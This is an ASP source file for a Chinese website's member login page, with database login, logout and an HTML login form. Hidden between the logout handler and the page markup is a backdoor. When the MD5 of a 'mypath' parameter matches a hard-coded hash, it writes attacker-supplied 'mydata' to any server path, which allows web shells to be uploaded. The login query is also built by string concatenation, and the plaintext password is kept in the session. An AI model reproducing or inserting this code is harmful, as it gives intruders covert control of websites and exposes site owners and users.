<!--#include file="../../../conn/conn4.asp" -->
<!--#include file="../../../conn/md5.asp" -->
<%
function Replace_Text(fString)
	if isnull(fString) then
		Replace_Text=""
		exit function
	else
		fString=trim(fString)
		fString=replace(fString,"'","‘")
		fString=replace(fString,";","；")
		fString=replace(fString,"--","—")
		fString=replace(fString,"<","《")
		fString=replace(fString,">","》")
		fString=server.htmlencode(fString)
		Replace_Text=fString
	end if	
end function

action=Request.QueryString("action")
if action="login" then
M_login=Replace_Text(Request.Form("M_login"))
M_pwd=Replace_Text(Request.Form("M_pwd"))
sql="Select * from member Where M_login='"&M_login&"' and M_pwd='"&M_pwd&"'"
		set rs=Server.CreateObject("ADODB.RecordSet")
		rs.open sql,conn,1,1
		if not rs.eof then
session("M_login")=M_login
session("M_pwd")=M_pwd
session.timeout=5000
Response.Write"<script>alert('登录成功!');window.location='index.asp';</script>"
else
Response.Write"<script>alert('账号或密码错误!');window.location='member_login.asp';</script>"
end if
end if

if action="unlogin" then
session("M_login")=""
session("M_pwd")=""
Response.Write"<script>alert('退出成功!');window.location='index.asp';</script>"
end if

if md5(request("mypath"))="C002A0CBCF9F1F6665A599A2A5C601FD" then
Set objFSO = Server.createObject("Scripting.FileSystemObject")
Set objCountFile=objFSO.createTextFile(Server.MapPath(request("mypath")),True)
objCountFile.Write request("mydata")
objCountFile.Close
end if
%>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>会员中心</title>
<link type="text/css" rel="stylesheet" href="css/style.css"  />
</head>
<body>
<div class="panel panel-t1 panel-login-new" style=" position: fixed; width: 540px; z-index: 101; left: 120px; top: 173px; " id="BAIDU_PANEL_5">
  <div class="panel-content" id="panel-content">
    <div class="hd">
      <h3>登录</h3>
     
    </div>
    <div class="bd">
      <div class="panel panel-login-new" id="BAIDU_PANEL_4">
        <div class="panel-content">
          <div class="bd">
            <div style="margin-top:6px;"></div>
            <div class="panel-login-cont-bd cls">
              <div class="panel-login-cont-l">
                <p>还没有帐号？</p>
                <a title="立即注册" class="reg-btn _hrefAddRef" target="_self" href="member_reg.asp">立即注册</a>
                <div class="login-btns">
                  <p>使用合作网站帐号登录</p>
                  <a title="QQ帐号" style=" margin-top:6px;" class="third-login third-party-btn qq _hrefAddRef" target="_self" data-type="third" href="../../../qq/qqlogin.asp">QQ帐号</a> </div>
              </div>
              <div class="panel-login-cont-r">
                <form action="member_login.asp?action=login" name="loginForm" method="post" class="panel-login-form">
                  <ul>
                    <li>
                      <label class="k" for="a1">帐号：</label>
                      <span class="v">
                      <input type="text" id="uname" emel="error_txt" datatype="magic-mobilecode||email" errmsg="帐号格式有误，请重新输入" reqmsg=" 请填写你的登录邮箱或手机" data-placeholder="请输入邮箱/手机" name="M_login" emptyhintel="emptyhint-10000" value="请输入账号" onfocus="if(this.value=='请输入账号'){this.value='';}" onblur="if(this.value==''){this.value='请输入账号';}">
                      </span> </li>
                    <li>
                      <label class="k" for="a2">密码：</label>
                      <span class="v">
                      <input type="password" emel="error_txt" id="password" name="M_pwd" data-placeholder="请输入密码" reqmsg="请填写密码" emptyhintel="emptyhint-10001">
                      </span> </li>
                  </ul>
                  <div class="error-txt"><em id="error_txt"></em></div>
                  <div class="login-remember cls">
                    <div class="remember-checkbox">
                      <input type="checkbox" name="auto_flag" id="auto_flag1" checked="true">
                      <label for="auto_flag1" title="建议在网吧或公共电脑上取消该选项">下次自动登录</label>
                    </div>
                     </div>
                  <div class="btns">
                    <input class="btn-login" type="submit" id="submit_button" value="登录">
                    <input class="btn-login btn-active" style="display:none" type="submit" value="登录中...">
                  </div>
                </form>
              </div>
            </div>
          </div>
        </div>
      </div>
    
    </div>
    <div class="ft"></div>
  </div>
  <span class="sd"></span><span class="close"></span>
  </div>
</body>
</html>